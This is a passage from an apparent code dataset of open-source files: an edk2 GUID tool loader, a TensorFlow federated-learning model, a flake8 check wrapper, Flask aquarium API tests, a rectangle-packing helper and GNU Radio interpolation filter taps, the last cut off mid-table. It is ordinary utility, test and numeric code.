GUIDTool(\"3d532050-5cda-4fd0-879e-0f7f630d5afb\", \"BROTLI\", \"BrotliCompress\"),\n }\n\n def __init__(self, tooldef_file: str=None) -> None:\n self.dir = os.path.dirname(__file__)\n self.tooldef_file = tooldef_file if tooldef_file else os.path.join(\n self.dir, \"FMMTConfig.ini\")\n self.tooldef = dict()\n self.load()\n\n def VerifyTools(self) -> None:\n \"\"\"\n Verify Tools and Update Tools path.\n \"\"\"\n path_env = os.environ.get(\"PATH\")\n path_env_list = path_env.split(os.pathsep)\n path_env_list.append(os.path.dirname(__file__))\n path_env_list = list(set(path_env_list))\n for tool in self.tooldef.values():\n cmd = tool.command\n if os.path.isabs(cmd):\n if not os.path.exists(cmd):\n print(\"Tool Not found %s\" % cmd)\n else:\n for syspath in path_env_list:\n if glob.glob(os.path.join(syspath, cmd+\"*\")):\n break\n else:\n print(\"Tool Not found %s\" % cmd)\n\n def load(self) -> None:\n if os.path.exists(self.tooldef_file):\n with open(self.tooldef_file, \"r\") as fd:\n config_data = fd.readlines()\n for line in config_data:\n try:\n guid, short_name, command = line.split()\n new_format_guid = struct2stream(ModifyGuidFormat(guid.strip()))\n self.tooldef[new_format_guid] = GUIDTool(\n guid.strip(), short_name.strip(), command.strip())\n except:\n print(\"GuidTool load error!\")\n continue\n else:\n self.tooldef.update(self.default_tools)\n\n self.VerifyTools()\n\n def __getitem__(self, guid) -> None:\n return self.tooldef.get(guid)\n\n\nguidtools = GUIDTools()\n", "source": "YuweiChen1110/edk2-basetools", "license": "BSD-2-Clause-Patent"} {"text": "import numpy as np\nimport tensorflow as tf\nfrom tqdm import trange\n\nfrom fedsimul.utils.model_utils import batch_data\nfrom fedsimul.utils.tf_utils import graph_size\nfrom fedsimul.utils.tf_utils import process_grad\n\n\nclass Model(object):\n '''\n This is the tf model for the MNIST dataset with multiple class learner regression.\n Images are 28px by 28px.\n '''\n\n def __init__(self, num_classes, optimizer, gpu_id=0, seed=1):\n \"\"\" Initialize the learner.\n\n Args:\n num_classes: int\n optimizer: tf.train.Optimizer\n gpu_id: int, default 0\n seed: int, default 1\n \"\"\"\n # params\n self.num_classes = num_classes\n\n # create computation graph\n self.graph = tf.Graph()\n with self.graph.as_default():\n tf.set_random_seed(123 + seed)\n _created = self.create_model(optimizer)\n self.features = _created[0]\n self.labels = _created[1]\n self.train_op = _created[2]\n self.grads = _created[3]\n self.eval_metric_ops = _created[4]\n self.loss = _created[5]\n self.saver = tf.train.Saver()\n\n # set the gpu resources\n gpu_options = tf.compat.v1.GPUOptions(visible_device_list=\"{}\".format(gpu_id), allow_growth=True)\n config = tf.compat.v1.ConfigProto(gpu_options=gpu_options)\n self.sess = tf.Session(graph=self.graph, config=config)\n # self.sess = tf.Session(graph=self.graph)\n\n # REVIEW: find memory footprint and compute cost of the model\n self.size = graph_size(self.graph)\n with self.graph.as_default():\n self.sess.run(tf.global_variables_initializer())\n metadata = tf.RunMetadata()\n opts = tf.profiler.ProfileOptionBuilder.float_operation()\n self.flops = tf.profiler.profile(self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops\n\n def create_model(self, optimizer):\n \"\"\" Model function for Logistic Regression.\n\n Args:\n optimizer: tf.train.Optimizer\n\n Returns:\n tuple: (features, labels, train_op, grads, eval_metric_ops, loss)\n \"\"\"\n features = tf.placeholder(tf.float32, shape=[None, 784], name='features')\n labels = tf.placeholder(tf.int64, shape=[None, ], name='labels')\n logits = tf.layers.dense(inputs=features,\n units=self.num_classes,\n kernel_regularizer=tf.contrib.layers.l2_regularizer(0.001))\n predictions = {\n \"classes\": tf.argmax(input=logits, axis=1),\n \"probabilities\": tf.nn.softmax(logits, name=\"softmax_tensor\")\n }\n loss = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n\n grads_and_vars = optimizer.compute_gradients(loss)\n grads, _ = zip(*grads_and_vars)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=tf.train.get_global_step())\n eval_metric_ops = tf.count_nonzero(tf.equal(labels, predictions[\"classes\"]))\n return features, labels, train_op, grads, eval_metric_ops, loss\n\n def set_params(self, latest_params=None, momentum=False, gamma=0.9):\n \"\"\" Set parameters from server\n\n Args:\n latest_params: list\n list of tf.Variables\n momentum: boolean\n gamma: float\n\n TODO: update variable with its local variable and the value from\n latest_params\n\n TODO: DO NOT set_params from the global, instead, use the global gradient to update\n \"\"\"\n\n if latest_params is not None:\n with self.graph.as_default():\n # previous gradient\n all_vars = tf.trainable_variables()\n for variable, value in zip(all_vars, latest_params):\n if momentum:\n curr_val = self.sess.run(variable)\n new_val = gamma * curr_val + (1 - gamma) * value\n # TODO: use `assign` function instead of `load`\n variable.load(new_val, self.sess)\n else:\n variable.load(value, self.sess)\n\n def get_params(self):\n \"\"\" Get model parameters.\n\n Returns:\n model_params: list\n list of tf.Variables\n \"\"\"\n with self.graph.as_default():\n model_params = self.sess.run(tf.trainable_variables())\n return model_params\n\n def get_gradients(self, data, model_len):\n \"\"\" Access gradients of a given dataset.\n\n Args:\n data: dict\n model_len: int\n\n Returns:\n num_samples: int\n grads: tuple\n \"\"\"\n grads = np.zeros(model_len)\n num_samples = len(data['y'])\n\n with self.graph.as_default():\n model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'],\n self.labels: data['y']})\n grads = process_grad(model_grads)\n\n return num_samples, grads\n\n def solve_inner(self, data, num_epochs=1, batch_size=32):\n '''Solves local optimization problem.\n\n Args:\n data: dict with format {'x':[], 'y':[]}\n num_epochs: int\n batch_size: int\n\n Returns:\n soln: list\n comp: float\n '''\n for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120):\n for X, y in batch_data(data, batch_size):\n with self.graph.as_default():\n self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y})\n soln = self.get_params()\n comp = num_epochs * (len(data['y']) // batch_size) * batch_size * self.flops\n return soln, comp\n\n def test(self, data):\n '''\n Args:\n data: dict of the form {'x': [], 'y': []}\n\n Returns:\n tot_correct: int\n loss: float\n '''\n with self.graph.as_default():\n tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss],\n feed_dict={self.features: data['x'], self.labels: data['y']})\n return tot_correct, loss\n\n def close(self):\n self.sess.close()\n", "source": "cshjin/fedsimul", "license": "MIT"} {"text": "\nimport io\nimport logging\nimport os\nimport pathlib\nfrom functools import cached_property, lru_cache\nfrom typing import List, Set, Tuple\n\nfrom flake8.main.application import Application # type:ignore\nfrom flake8 import ( # type:ignore\n utils as flake8_utils,\n checker as flake8_checker)\n\nimport abstracts\n\nfrom aio.core.functional import async_property\nfrom aio.core.directory.utils import directory_context\n\nfrom envoy.code.check import abstract, typing\n\n\nFLAKE8_CONFIG = '.flake8'\n\n\n# Workaround for https://github.com/PyCQA/flake8/issues/1390\nlogging.getLogger(\"flake8.options.manager\").setLevel(logging.ERROR)\n\n\nclass Flake8Application(Application):\n \"\"\"Subclassed flake8.Application to capture output.\"\"\"\n\n @cached_property\n def output_fd(self) -> io.StringIO:\n return io.StringIO()\n\n def make_formatter(self) -> None:\n # ~Hacky workaround to capture flake8 output\n super().make_formatter()\n self.formatter.output_fd = self.output_fd\n self._formatter_stop = self.formatter.stop\n self.formatter.stop = self._stop\n\n def _stop(self) -> None:\n self.output_fd.seek(0)\n self._results: List[str] = [\n x\n for x\n in self.output_fd.read().strip().split(\"\\n\")\n if x]\n self._formatter_stop()\n\n\nclass Flake8App:\n \"\"\"Wrapper around `flake8.main.application.Application`\n\n Provides optimized file discovery using app's lookup tools.\n \"\"\"\n\n def __init__(self, path: str, args: Tuple[str, ...]) -> None:\n self.path = path\n self.args = args\n\n @cached_property\n def app(self) -> Flake8Application:\n \"\"\"Flake8 Application.\"\"\"\n flake8_app = Flake8Application()\n flake8_app.initialize(self.args)\n return flake8_app\n\n @property\n def manager(self) -> flake8_checker.Manager:\n \"\"\"Flake8 file checker manager.\"\"\"\n return self.app.file_checker_manager\n\n def include_file(self, path: str) -> bool:\n \"\"\"Include file according to flake8 config.\"\"\"\n path = os.path.join(self.path, path)\n return (\n self._filename_matches(path)\n and self._include_directory(os.path.dirname(path))\n and not self._is_excluded(path))\n\n def include_files(self, files: Set[str]) -> Set[str]:\n \"\"\"Figure out whether to include a file for checking.\"\"\"\n return set(\n path\n for path\n in files\n if self.include_file(os.path.join(self.path, path)))\n\n def run_checks(self, paths: Set[str]) -> List[str]:\n \"\"\"Run flake8 checks.\"\"\"\n with directory_context(self.path):\n self.app.run_checks(files=paths)\n self.app.report()\n return self.app._results\n\n @cached_property\n def _excluded_paths(self) -> Set[str]:\n return set()\n\n def _filename_matches(self, path: str) -> bool:\n return flake8_utils.fnmatch(\n path,\n self.app.options.filename)\n\n @lru_cache\n def _include_directory(self, path: str) -> bool:\n while True:\n if path == self.path:\n return True\n if not self._include_path(path):\n return False\n path = os.path.dirname(path)\n\n @lru_cache\n def _include_path(self, path: str) -> bool:\n exclude = (\n any(path.startswith(x) for x in self._excluded_paths)\n or self._is_excluded(path))\n if exclude:\n self._excluded_paths.add(path)\n return not exclude\n\n def _is_excluded(self, path: str) -> bool:\n return self.manager.is_path_excluded(path)\n\n\nclass AFlake8Check(abstract.ACodeCheck, metaclass=abstracts.Abstraction):\n \"\"\"Flake8 check for a fileset.\"\"\"\n\n @classmethod\n def check_flake8_files(\n cls,\n path: str,\n args: Tuple[str, ...],\n files: Set[str]) -> List[str]:\n \"\"\"Flake8 checker.\"\"\"\n return Flake8App(\n path,\n args).run_checks(files)\n\n @classmethod\n def filter_flake8_files(\n cls,\n path: str,\n args: Tuple[str, ...],\n files: Set[str]) -> Set[str]:\n \"\"\"Flake8 file discovery.\"\"\"\n return Flake8App(\n path,\n args).include_files(files)\n\n @async_property\n async def checker_files(self) -> Set[str]:\n return await self.execute(\n self.filter_flake8_files,\n self.directory.absolute_path,\n self.flake8_args,\n await self.directory.files)\n\n @property\n def flake8_args(self) -> Tuple[str, ...]:\n \"\"\"Flake configuration args.\"\"\"\n return (\n \"--config\",\n str(self.flake8_config_path),\n str(self.directory.path))\n\n @property\n def flake8_config_path(self) -> pathlib.Path:\n \"\"\"Path to flake8 configuration.\"\"\"\n return self.directory.path.joinpath(FLAKE8_CONFIG)\n\n @async_property\n async def flake8_errors(self) -> List[str]:\n \"\"\"Flake8 error list for check files.\"\"\"\n # Important dont send an empty set to the flake8 checker,\n # as flake8 will check every file in path.\n return (\n await self.execute(\n self.check_flake8_files,\n self.directory.absolute_path,\n self.flake8_args,\n await self.files)\n if await self.files\n else [])\n\n @async_property(cache=True)\n async def problem_files(self) -> typing.ProblemDict:\n \"\"\"Discovered flake8 errors.\"\"\"\n return self.handle_errors(await self.flake8_errors)\n\n def handle_errors(self, errors: List[str]) -> typing.ProblemDict:\n \"\"\"Turn flake8 error list -> `ProblemDict`.\"\"\"\n flake8_errors: typing.ProblemDict = {}\n for error in errors:\n path, message = self._parse_error(error)\n flake8_errors[path] = flake8_errors.get(path, [])\n flake8_errors[path].append(message)\n return flake8_errors\n\n def _parse_error(self, error: str) -> Tuple[str, str]:\n path = error.split(\":\")[0]\n return (\n path,\n f\"{path}: {error.split(':', 1)[1]}\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "__author__ = 'meignier'\n\nimport s4d.clustering.hac_bic\nimport s4d.clustering.hac_clr\nimport s4d.clustering.hac_iv\nimport s4d.clustering.hac_utils\nimport s4d.model_iv\nfrom s4d.clustering.cc_iv import ConnectedComponent\nfrom s4d.diar import Diar\nfrom s4d.segmentation import sanity_check, bic_linear, div_gauss\nfrom s4d.viterbi import Viterbi\n\n__version__ = \"0.0.1\"", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"} {"text": "from flask import request\nimport pytest\nimport json\nfrom app import create_app, create_rest_api\nfrom db import get_db\nfrom change_light import is_aquarium_id_valid\n\n\n@pytest.fixture\ndef client():\n local_app = create_app()\n create_rest_api(local_app)\n client = local_app.test_client()\n\n yield client\n\ndef get_max_aquarium_id():\n light_data = get_db().execute(\n 'SELECT id, timestamp, default_mode, total_food_quantity'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n return light_data['id']\n\n\ndef test_get_aquarium_light_color_invalid_id(client):\n with create_app().app_context():\n invalid_id = get_max_aquarium_id() + 1\n request = client.get('/lightColor/' + str(invalid_id))\n\n assert request.status_code == 403\n\n\ndef test_get_aquarium_light_color_valid_id(client):\n with create_app().app_context():\n valid_id = get_max_aquarium_id()\n request = client.get('/lightColor/' + str(valid_id))\n\n assert request.status_code == 200\n\n\ndef test_change_light_color_valid_aquarium_id(client):\n color = 'test_color'\n with create_app().app_context():\n valid_id = get_max_aquarium_id()\n\n request = client.put('/lightColor/' + str(valid_id) + '?color=' + color)\n\n assert request.status_code == 200\n\n\ndef test_change_light_color_invalid_aquarium_id(client):\n color = 'test_color'\n with create_app().app_context():\n invalid_id = get_max_aquarium_id() + 1\n\n request = client.put('/lightColor/' + str(invalid_id) + '?color=' + color)\n\n assert request.status_code == 403", "source": "UnibucProjects/SmartAquarium", "license": "MIT"} {"text": "import copy\nimport math\nimport numpy as np\n\n# import rpack\nfrom rectpack import newPacker\nfrom rectpack.maxrects import MaxRectsBssf\n\n\ndef _change_dim_order(sizes):\n return [[s[1], s[0]] for s in sizes]\n\n\n# def get_pack_coords(sizes):\n# # list of [height, width] i.e. img.shape order\n# sizes = _change_dim_order(sizes)\n# positions = rpack.pack(sizes)\n# return _change_dim_order(positions)\n\n\ndef _pack(rectangles, bins):\n packer = newPacker(pack_algo=MaxRectsBssf)\n\n for r in rectangles:\n packer.add_rect(*r)\n\n for b in bins:\n packer.add_bin(*b)\n\n packer.pack()\n\n all_rects = packer.rect_list()\n\n res = []\n for rect in all_rects:\n res.append(np.array(rect))\n\n res = np.array(res)\n res.view('i8,i8,i8,i8,i8,i8,').sort(order=['f5'], axis=0)\n res = [list(i) for i in res[:, 1:3]]\n return res\n\n\ndef get_pack_coords(sizes):\n s = copy.deepcopy(sizes)\n [s[i].append(i + 1) for i in range(len(s))]\n s = np.array([np.array(i) for i in s]).copy()\n\n total_h, total_w, _ = s.sum(axis=0)\n max_h = s[:, 0].max(axis=0)\n\n virtual_cols = math.ceil(math.sqrt(len(sizes)))\n height_limit = max(max_h, int(1.2 * (total_h / virtual_cols)))\n\n rectangles = [tuple(i) for i in s]\n bins = [(height_limit, total_w)]\n\n coords = _pack(rectangles, bins)\n\n if len(coords) != len(sizes):\n coords = _pack(rectangles, [(int(2 * max_h), total_w)])\n\n return coords\n", "source": "1mplex/segmentation_image_augmentation", "license": "MIT"} {"text": "#!/usr/bin/env python\n#\n# Create filter taps to use for interpolation filter in\n# clock recovery algorithm. These taps are copied from\n# GNU Radio at gnuradio/filter/interpolator_taps.h.\n#\n# This file includes them in natural order and I want\n# them stored in reversed order such that they can be\n# used directly.\n#\n\nfilters = [\n [ 0.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00, 1.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00 ],\n [ -1.54700e-04, 8.53777e-04, -2.76968e-03, 7.89295e-03, 9.98534e-01, -5.41054e-03, 1.24642e-03, -1.98993e-04 ],\n [ -3.09412e-04, 1.70888e-03, -5.55134e-03, 1.58840e-02, 9.96891e-01, -1.07209e-02, 2.47942e-03, -3.96391e-04 ],\n [ -4.64053e-04, 2.56486e-03, -8.34364e-03, 2.39714e-02, 9.95074e-01, -1.59305e-02, 3.69852e-03, -5.92100e-04 ],\n [ -6.18544e-04, 3.42130e-03, -1.11453e-02, 3.21531e-02, 9.93082e-01, -2.10389e-02, 4.90322e-03, -7.86031e-04 ],\n [ -7.72802e-04, 4.27773e-03, -1.39548e-02, 4.04274e-02, 9.90917e-01, -2.60456e-02, 6.09305e-03, -9.78093e-04 ],\n [ -9.26747e-04, 5.13372e-03, -1.67710e-02, 4.87921e-02, 9.88580e-01, -3.09503e-02, 7.26755e-03, -1.16820e-03 ],\n [ -1.08030e-03, 5.98883e-03, -1.95925e-02, 5.72454e-02, 9.86071e-01, -3.57525e-02, 8.42626e-03, -1.35627e-03 ],\n [ -1.23337e-03, 6.84261e-03, -2.24178e-02, 6.57852e-02, 9.83392e-01, -4.04519e-02, 9.56876e-03, -1.54221e-03 ],\n [ -1.38589e-03, 7.69462e-03, -2.52457e-02, 7.44095e-02, 9.80543e-01, -4.50483e-02, 1.06946e-02, -1.72594e-03 ],\n [ -1.53777e-03, 8.54441e-03, -2.80746e-02, 8.31162e-02, 9.77526e-01, -4.95412e-02, 1.18034e-02, -1.90738e-03 ],\n [ -1.68894e-03, 9.39154e-03, -3.09033e-02, 9.19033e-02, 9.74342e-01, -5.39305e-02, 1.28947e-02, -2.08645e-03 ],\n [ -1.83931e-03, 1.02356e-02, -3.37303e-02, 1.00769e-01, 9.70992e-01, -5.82159e-02, 1.39681e-02, -2.26307e-03 ],\n [ -1.98880e-03, 1.10760e-02, -3.65541e-02, 1.09710e-01, 9.67477e-01, -6.23972e-02, 1.50233e-02, -2.43718e-03 ],\n [ -2.13733e-03, 1.19125e-02, -3.93735e-02, 1.18725e-01, 9.63798e-01, -6.64743e-02, 1.60599e-02, -2.60868e-03 ],\n [ -2.28483e-03, 1.27445e-02, -4.21869e-02, 1.27812e-01, 9.59958e-01, -7.04471e-02, 1.70776e-02, -2.77751e-03 ],\n [ -2.43121e-03, 1.35716e-02, -4.49929e-02, 1.36968e-01, 9.55956e-01, -7.43154e-02, 1.80759e-02, -2.94361e-03 ],\n [ -2.57640e-03, 1.43934e-02, -4.77900e-02, 1.46192e-01, 9.51795e-01, -7.80792e-02, 1.90545e-02, -3.10689e-03 ],\n [ -2.72032e-03, 1.52095e-02, -5.05770e-02, 1.55480e-01, 9.47477e-01, -8.17385e-02, 2.00132e-02, -3.26730e-03 ],\n [ -2.86289e-03, 1.60193e-02, -5.33522e-02, 1.64831e-01, 9.43001e-01, -8.52933e-02, 2.09516e-02, -3.42477e-03 ],\n [ -3.00403e-03, 1.68225e-02, -5.61142e-02, 1.74242e-01, 9.38371e-01, -8.87435e-02, 2.18695e-02, -3.57923e-03 ],\n [ -3.14367e-03, 1.76185e-02, -5.88617e-02, 1.83711e-01, 9.33586e-01, -9.20893e-02, 2.27664e-02, -3.73062e-03 ],\n [ -3.28174e-03, 1.84071e-02, -6.15931e-02, 1.93236e-01, 9.28650e-01, -9.53307e-02, 2.36423e-02, -3.87888e-03 ],\n [ -3.41815e-03, 1.91877e-02, -6.43069e-02, 2.02814e-01, 9.23564e-01, -9.84679e-02, 2.44967e-02, -4.02397e-03 ],\n [ -3.55283e-03, 1.99599e-02, -6.70018e-02, 2.12443e-01, 9.18329e-01, -1.01501e-01, 2.53295e-02, -4.16581e-03 ],\n [ -3.68570e-03, 2.07233e-02, -6.96762e-02, 2.22120e-01, 9.12947e-01, -1.04430e-01, 2.61404e-02, -4.30435e-03 ],\n [ -3.81671e-03, 2.14774e-02, -7.23286e-02, 2.31843e-01, 9.07420e-01, -1.07256e-01, 2.69293e-02, -4.43955e-03 ],\n [ -3.94576e-03, 2.22218e-02, -7.49577e-02, 2.41609e-01, 9.01749e-01, -1.09978e-01, 2.76957e-02, -4.57135e-03 ],\n [ -4.07279e-03, 2.29562e-02, -7.75620e-02, 2.51417e-01, 8.95936e-01, -1.12597e-01, 2.84397e-02, -4.69970e-03 ],\n [ -4.19774e-03, 2.36801e-02, -8.01399e-02, 2.61263e-01, 8.89984e-01, -1.15113e-01, 2.91609e-02, -4.82456e-03 ],\n [ -4.32052e-03, 2.43930e-02, -8.26900e-02, 2.71144e-01, 8.83893e-01, -1.17526e-01, 2.98593e-02, -4.94589e-03 ],\n [ -4.44107e-03, 2.50946e-02, -8.52109e-02, 2.81060e-01, 8.77666e-01, -1.19837e-01, 3.05345e-02, -5.06363e-03 ],\n [ -4.55932e-03, 2.57844e-02, -8.77011e-02, 2.91006e-01, 8.71305e-01, -1.22047e-01, 3.11866e-02, -5.17776e-03 ],\n [ -4.67520e-03, 2.64621e-02, -9.01591e-02, 3.00980e-01, 8.64812e-01, -1.24154e-01, 3.18153e-02, -5.28823e-03 ],\n [ -4.78866e-03, 2.71272e-02, -9.25834e-02, 3.10980e-01, 8.58189e-01, -1.26161e-01, 3.24205e-02, -5.39500e-03 ],\n [ -4.89961e-03, 2.77794e-02, -9.49727e-02, 3.21004e-01, 8.51437e-01, -1.28068e-01, 3.30021e-02, -5.49804e-03 ],\n [ -5.00800e-03, 2.84182e-02, -9.73254e-02, 3.31048e-01, 8.44559e-01, -1.29874e-01, 3.35600e-02, -5.59731e-03 ],\n [ -5.11376e-03, 2.90433e-02, -9.96402e-02, 3.41109e-01, 8.37557e-01, -1.31581e-01, 3.40940e-02, -5.69280e-03 ],\n [ -5.21683e-03, 2.96543e-02, -1.01915e-01, 3.51186e-01, 8.30432e-01, -1.33189e-01, 3.46042e-02, -5.78446e-03 ],\n [ -5.31716e-03, 3.02507e-02, -1.04150e-01, 3.61276e-01, 8.23188e-01, -1.34699e-01, 3.50903e-02, -5.87227e-03 ],\n [ -5.41467e-03, 3.08323e-02, -1.06342e-01, 3.71376e-01, 8.15826e-01, -1.36111e-01, 3.55525e-02, -5.95620e-03 ],\n [ -5.50931e-03, 3.13987e-02, -1.08490e-01, 3.81484e-01, 8.08348e-01, -1.37426e-01, 3.59905e-02, -6.03624e-03 ],\n [ -5.60103e-03, 3.19495e-02, -1.10593e-01, 3.91596e-01, 8.00757e-01, -1.38644e-01, 3.64044e-02, -6.11236e-03 ],\n [ -5.68976e-03, 3.24843e-02, -1.12650e-01, 4.01710e-01, 7.93055e-01, -1.39767e-01, 3.67941e-02, -6.18454e-03 ],\n [ -5.77544e-03, 3.30027e-02, -1.14659e-01, 4.11823e-01, 7.85244e-01, -1.40794e-01, 3.71596e-02, -6.25277e-03 ],\n [ -5.85804e-03, 3.35046e-02, -1.16618e-01, 4.21934e-01, 7.77327e-01, -1.41727e-01, 3.75010e-02, -6.31703e-03 ],\n [ -5.93749e-03, 3.39894e-02, -1.18526e-01, 4.32038e-01, 7.69305e-01, -1.42566e-01, 3.78182e-02, -6.37730e-03 ],\n [ -6.01374e-03, 3.44568e-02, -1.20382e-01, 4.42134e-01, 7.61181e-01, -1.43313e-01, 3.81111e-02, -6.43358e-03 ],\n [ -6.08674e-03, 3.49066e-02, -1.22185e-01, 4.52218e-01, 7.52958e-01, -1.43968e-01, 3.83800e-02, -6.48585e-03 ],\n [ -6.15644e-03, 3.53384e-02, -1.23933e-01, 4.62289e-01, 7.44637e-01, -1.44531e-01, 3.86247e-02, -6.53412e-03 ],\n [ -6.22280e-03, 3.57519e-02, -1.25624e-01, 4.72342e-01, 7.36222e-01, -1.45004e-01, 3.88454e-02, -6.57836e-03 ],\n [ -6.28577e-03, 3.61468e-02, -1.27258e-01, 4.82377e-01, 7.27714e-01, -1.45387e-01, 3.90420e-02, -6.61859e-03 ],\n [ -6.34530e-03, 3.65227e-02, -1.28832e-01, 4.92389e-01, 7.19116e-01, -1.45682e-01, 3.92147e-02, -6.65479e-03 ],\n [ -6.40135e-03, 3.68795e-02, -1.30347e-01, 5.02377e-01, 7.10431e-01, -1.45889e-01, 3.93636e-02, -6.68698e-03 ],\n [ -6.45388e-03, 3.72167e-02, -1.31800e-01, 5.12337e-01, 7.01661e-01, -1.46009e-01, 3.94886e-02, -6.71514e-03 ],\n [ -6.50285e-03, 3.75341e-02, -1.33190e-01, 5.22267e-01, 6.92808e-01, -1.46043e-01, 3.95900e-02, -6.73929e-03 ],\n [ -6.54823e-03, 3.78315e-02, -1.34515e-01, 5.32164e-01, 6.83875e-01, -1.45993e-01, 3.96678e-02, -6.75943e-03 ],\n [ -6.58996e-03, 3.81085e-02, -1.35775e-01, 5.42025e-01, 6.74865e-01, -1.45859e-01, 3.97222e-02, -6.77557e-03 ],\n [ -6.62802e-03, 3.83650e-02, -1.36969e-01, 5.51849e-01, 6.65779e-01, -1.45641e-01, 3.97532e-02, -6.78771e-03 ],\n [ -6.66238e-03, 3.86006e-02, -1.38094e-01, 5.61631e-01, 6.56621e-01, -1.45343e-01, 3.97610e-02, -6.79588e-03 ],\n [ -6.69300e-03, 3.88151e-02, -1.39150e-01, 5.71370e-01, 6.47394e-01, -1.44963e-01, 3.97458e-02, -6.80007e-03 ],\n [ -6.71985e-03, 3.90083e-02, -1.40136e-01, 5.81063e-01, 6.38099e-01, -1.44503e-01, 3.97077e-02, -6.80032e-03 ],\n [ -6.74291e-03, 3.91800e-02, -1.41050e-01, 5.90706e-01, 6.28739e-01, -1.43965e-01, 3.96469e-02, -6.79662e-03 ],\n [ -6.76214e-03, 3.93299e-02, -1.41891e-01, 6.00298e-01, 6.19318e-01, -1.43350e-01, 3.95635e-02, -6.78902e-03 ],\n [ -6.77751e-03, 3.94578e-02, -1.42658e-01, 6.09836e-01, 6.09836e-01, -1.42658e-01, 3.94578e-02, -6.77751e-03 ],\n [ -6.78902e-03, 3.95635e-02, -1.43350e-01, 6.19318e-01, 6.00298e-01, -1.41891e-01, 3.93299e-02, -6.76214e-03 ],\n [ -6.79662e-03, 3.96469e-02, -1.43965e-01, 6.28739e-01, 5.90706e-01, -1.41050e-01, 3.91800e-02, -6.74291e-03 ],\n [ -6.80032e-03, 3.97077e-02, -1.44503e-01, 6.38099e-01, 5.81063e-01, -1.40136e-01, 3.90083e-02, -6.71985e-03 ],\n [ -6.80007e-03, 3.97458e-02, -1.44963e-01, 6.47394e-01, 5.71370e-01, -1.39150e-01, 3.88151e-02, -6.69300e-03 ],\n [ -6.79588e-03, 3.97610e-02, -1.45343e-01, 6.56621e-01, 5.61631e-01, -1.38094e-01, 3.86006e-02, -6.66238e-03 ],\n [ -6.78771e-03, 3.97532e-02, -1.45641e-01, 6.65779e-01, 5.51849e-01, -1.36969e-01, 3.83650e-02, -6.62802e-03 ],\n [ -6.77557e-03, 3.97222e-02, -1.45859e-01, 6.74865e-01, 5.42025e-01, -1.35775e-01, 3.81085e-02, -6.58996e-03 ],\n [ -6.75943e-03, 3.96678e-02, -1.45993e-01, 6.83875e-01, 5.32164e-01, -1.34515e-01, 3.78315e-02, -6.54823e-03 ],\n [ -6.73929e-03, 3.95900e-02, -1.46043e-01, 6.92808e-01, 5.22267e-01, -1.33190e-01, 3.75341e-02, -6.50285e-03 ],\n [ -6.71514e-03, 3.94886e-02, -1.46009e-01, 7.01661e-01, 5.12337e-01, -1.31800e-01, 3.72167e-02, -6.45388e-03 ],\n [ -6.68698e-03, 3.93636e-02, -1.45889e-01, 7.10431e-01, 5.02377e-01, -1.30347e-01, 3.68795e-02, -6.40135e-03 ],\n [ -6.65479e-03, 3.92147e-02, -1.45682e-01, 7.19116e-01, 4.92389e-01, -1.28832e-01, 3.65227e-02, -6.34530e-03 ],\n [ -6.61859e-03, 3.90420e-02, -1.45387e-01, 7.27714e-01, 4.82377e-01, -1.27258e-01, 3.61468e-02, -6.28577e-03 ],\n [ -6.57836e-03, 3.88454e-02, -1.45004e-01, 7.36222e-01, 4.72342e-01, -1.25624e-01, 3.57519e-02, -6.22280e-03 ],\n [ -6.53412e-03, 3.86247e-02, -1.44531e-01, 7.44637e-01, 4.62289e-01, -1.23933e-01, 3.53384e-02, -6.15644e-03 ],\n [ -6.48585e-03, 3.83800e-02, -1.43968e-01, 7.52958e-01, 4.52218e-01, -1.22185e-01, 3.49066e-02, -6.08674e-03 ],\n [ -6.43358e-03, 3.81111e-02, -1.43313e-01, 7.61181e-01, 4.42134e-01, -1.20382e-01, 3.44568e-02, -6.01374e-03 ],\n [ -6.37730e-03, 3.78182e-02, -1.42566e-01, 7.69305e-01, 4.32038e-01, -1.18526e-01, 3.39894e-02, -5.93749e-03 ],\n [ -6.31703e-03, 3.75010e-02, -1.41727e-01, 7.77327e-01, 4.21934e-01, -1.16618e-01, 3.35046e-02, -5.85804e-03 ],\n [ -6.25277e-03, 3.71596e-02, -1.40794e-01, 7.85244e-01, 4.11823e-01, -1.14659e-01, 3.30027e-02, -5.77544e-03 ],\n [ -6.18454e-03, 3.67941e-02, -1.39767e-01, 7.93055e-01, 4.01710e-01, -1.12650e-01, 3.24843e-02, -5.68976e-03 ],\n [ -6.11236e-03, 3.64044e-02, -1.38644e-01, 8.00757e-01, 3.91596e-01, -1.10593e-01, 3.19495e-02, -5.60103e-03 ],\n [ -6.03624e-03, 3.59905e-02, -1.37426e-01, 8.08348e-01, 3.81484e-01, -1.08490e-01, 3.13987e-02, -5.50931e-03 ],\n [ -5.95620e-03, 3.55525e-02, -1.36111e-01, 8.15826e-01, 3.71376e-01, -1.06342e-01, 3.08323e-02, -5.41467e-03 ],\n [ -5.87227e-03, 3.50903e-02, -1.34699e-01, 8.23188e-01, 3.61276e-01, -1.04150e-01, 3.02507e-02, -5.31716e-03 ],\n [ -5.78446e-03, 3.46042e-02, -1.33189e-01, 8.30432e-01, 3.51186e-01, -1.01915e-01, 2.96543e-02, -5.21683e-03 ],\n [ -5.69280e-03, 3.40940e-02, -1.31581e-01, 8.37557e-01, 3.41109e-01, -9.96402e-02, 2.90433e-02, -5.11376e-03 ],\n [ -5.59731e-03, 3.35600e-02, -1.29874e-01, 8.44559e-01, 3.31048e-01, -9.73254e-02, 2.84182e-02, -5.00800e-03 ],\n [ -5.49804e-03, 3.30021e-02, -1.28068e-01, 8.51437e-01, 3.21004e-01, -9.49727e-02, 2.77794e-02, -4.89961e-03 ],\n [ -5.39500e-03, 3.24205e-02, -1.26161e-01, 8.58189e-01, 3.10980e-01, -9.25834e-02, 2.71272e-02, -4.78866e-03 ],\n [ -5.28823e-03, 3.18153e-02, -1.24154e-01, 8.64812e-01, 3.00980e-01, -9.01591e-02, 2.64621e-02, -4.67520e-03 ],\n [ -5.17776e-03, 